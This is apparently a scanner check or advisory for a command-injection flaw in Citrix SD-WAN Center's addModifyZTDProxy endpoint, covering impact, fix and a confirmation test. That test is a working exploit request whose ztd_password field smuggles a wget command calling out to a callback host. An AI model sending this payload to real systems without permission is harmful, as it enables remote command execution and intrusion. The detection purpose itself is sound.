Readycheck to confirm it

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.

Fix

Apply the latest security patches provided by Citrix to mitigate the vulnerability.

How to confirm it

Send: GET /login ; GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}})
Positive when: contains(body_1, "<title>Citrix SD-WAN</title>") AND contains in interactsh_protocol "http"
